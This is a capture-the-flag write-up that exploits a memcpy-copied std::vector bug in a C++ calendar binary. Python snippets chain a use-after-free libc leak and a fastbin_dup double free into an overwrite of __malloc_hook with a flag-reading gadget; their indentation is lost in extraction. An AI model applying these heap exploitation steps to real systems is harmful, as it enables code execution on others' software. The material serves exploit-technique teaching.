table of contents:
- Binary is 64-bit с++ executable dynamically linked at least with libc
- binary uses full
RelRO(relocations read only), so we cant simply overwrite .got entry and jump to one-gadget - stack canaries are here too, so we cant use stack-based attacks (without memory leaks)
- nx-bit enabled, so we cant write our shellcode to rw memory location an later jump to it
- all we have is that program doesn't have
PIE, so loaded executable base address is always the same
Binary has some basic (for most heap-related tasks) functionality:
In this particular task it's hard to find bugs by hand so lets go to actual reversing part. After restoring classes such as Note, Day, Calender we can start investigating app logic.
Dayobject default constructor:
Its simply createsstd::vectorwithNote *, and then reserves location for at least0xdelements (remember this moment, it will come in handy later).copy_notesoption:
The most interesting part is in here. First of all it extracts
currentMonthandcurrentDay, then the same thing happens with the second date. After itstd::vector<Note *>day_notesptr forcurrentDayis assigned today_notes_current, same thing happens for the second day,std::vector<Note *>day_notesptr fornewDayis assigned today_notes_new. And here is, where vuln is introduced.
So the bug is that vector structures gets copied using memcpy() function instead of default copy constructor that can be used through assign operator, what eventually leads to UAF and double-free vulnerabilities. Lets look at memory layout after using copy_notes function.
As we can see both std::vector <Note *> references in Day objects are now pointing to the same memory location. And that's the problem. By default std::vector<> is a dynamic array that expands as needed, if it expands its must move content to a new memory location and release the old one. So when we make the vector expand (for example using push_back in create_note function), it will update pointers in Day object that is currently selected, but not in the second one, and we will get UAF, due to the fact that the second Day pointers remained the same.
With this knowledge we can start creating two primitives: nearly arbitrary write-what-where, and arbitrary-read.
Lets start with arbitrary read. Easiest way to create this primitive is to use use-after-free vulnerability. First of all we must create vector at 1/1, then we will extend it to 13 elements, after it we must copy it to another date (1/3), and later extend it to 14 elements, so location where was 13 pointers is going to be freed in first day. Then we need to free another vector to bypass fasttop. After we will select 1/3 and add to this vector one new note with content_size = 100, and content = p64(desired_addr) * 12, so this note_content will take memory region, where freed vector content was. And now, when we will call print_notes it will print data based on our fake Note pointers.
That's good, but because it's vector of pointers to objects we need to somehow insert pointer to pointer to our location, that we want to read. Fortunately we don't have to do anything, because in the end of reallocated vector will be pointer to heap chunk, with content that we can control.
Faked std::vector<Note *> content (last element is at 0xa84d50, and that's the fake Note* where we can change content, to satisfy double-pointer dereference requirment):
So everything that we need to do now is to change value at controlled location to address we want to read:
def generate_vec(cnt, content):
for i in range(cnt):
create_note('AAAAAAAA' * 15, content * 12, 100) # spray signal_got on heap to get leak
select_date(1, 1)
generate_vec(13, p64(signal_got)) # controlled location, here will point pointer in the end of faked vector
copy_notes(1, 3)
generate_vec(1, 'PPPPPPPP') # free first vector
select_date(1, 2)
generate_vec(14, p64(signal_got)) # free second vector to bypass "double free or corruption (fasttop)" + sparay objects with .got['signal'] ptr to leak libc
select_date(1, 3)
create_note('AAAAAAAA', 'DDDDDDDD' * 17, 140) # double-free first vector + get leak
leak = u64(view_notes()[560:560+6] + '\x00\x00') # read last note name to get leakNow, when we leaked all important addresses we can start creating write primitive. For this we will use fastbin_dup:
First of all we must allocate vector of size 13 (at 2/1), then copy it to (2/2), free it adding new note, then free intermidiate vector (at 2/3) to bypass faststop, and later select (2/3) and add new note to double-free it.
def generate_vec_param(cnt, name, content_size, content):
for i in range(cnt):
create_note(name, content, content_size)
def double_free_fast():
# first day
select_date(2, 1)
generate_vec_param(13, 'AAAAAAAA', 600, 'BBBBBBBB')
copy_notes(2, 2)
create_note('NNNN' * 31, 'OOOO' * 24, 600)
# second day
select_date(2, 3)
generate_vec_param(14, 'AAAAAAAA', 600, 'BBBBBBBB')
# third day
select_date(2, 2)
create_note('NNNN' * 31, 'OOOO' * 24, 600)
def exploit_df_fast(chunk_to_get, size):
select_date(2, 4)
create_note('AAAAAAAA', p64(chunk_to_get) + 'A' * 38, size)
create_note('ZZZZZZZZ' * 15, 'MMMMMMMM', size)
create_note('XXXXXXXX' * 15, 'KKKKKKKK', size)
double_free_fast()
exploit_df_fast(0xdeadbeef, 102)Right now we met almost all the conditions to return arbitrary pointer:
But we cant return fully arbitrary pointer, because there is some integrety checks inside malloc. For example:
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
...This code will check if chunk size, that we are going to return is in specific fastbin range (for this example in range 0x70 <= x <= 0x7f). So we need to find memory region, that can be represented like malloc_chunk, and which size can pass fastbin_index check. Okay, we can use only specificly layouted memory. But what we want to write and where? In given binary we can find interesting gadget, that calls system("/bin/cat /service/flag.txt"), so we somehow want to redirect execution to this gadget. We can make this by rewriting __malloc_hook / __free_hook in already leaked libc, but we still need to find suitable chunk near this location. Here i will use pwndbg:
It found 2 possible fake_chunks near malloc_hook. I will use second one:
So now, when we will call new with appropriate size it will return this fakechunk near malloc_hook, and now if we will write something big to this chunk we will rewrite __malloc_hook:
Got it! Now you just need to change 'A's with gadget address and get flag:
- get mem-leak using
UAF - find fake_chunk near
__malloc_hook - return this fake chunk using
fastbin_dup - rewrite
__malloc_hookwith gadget address - get flag
links:










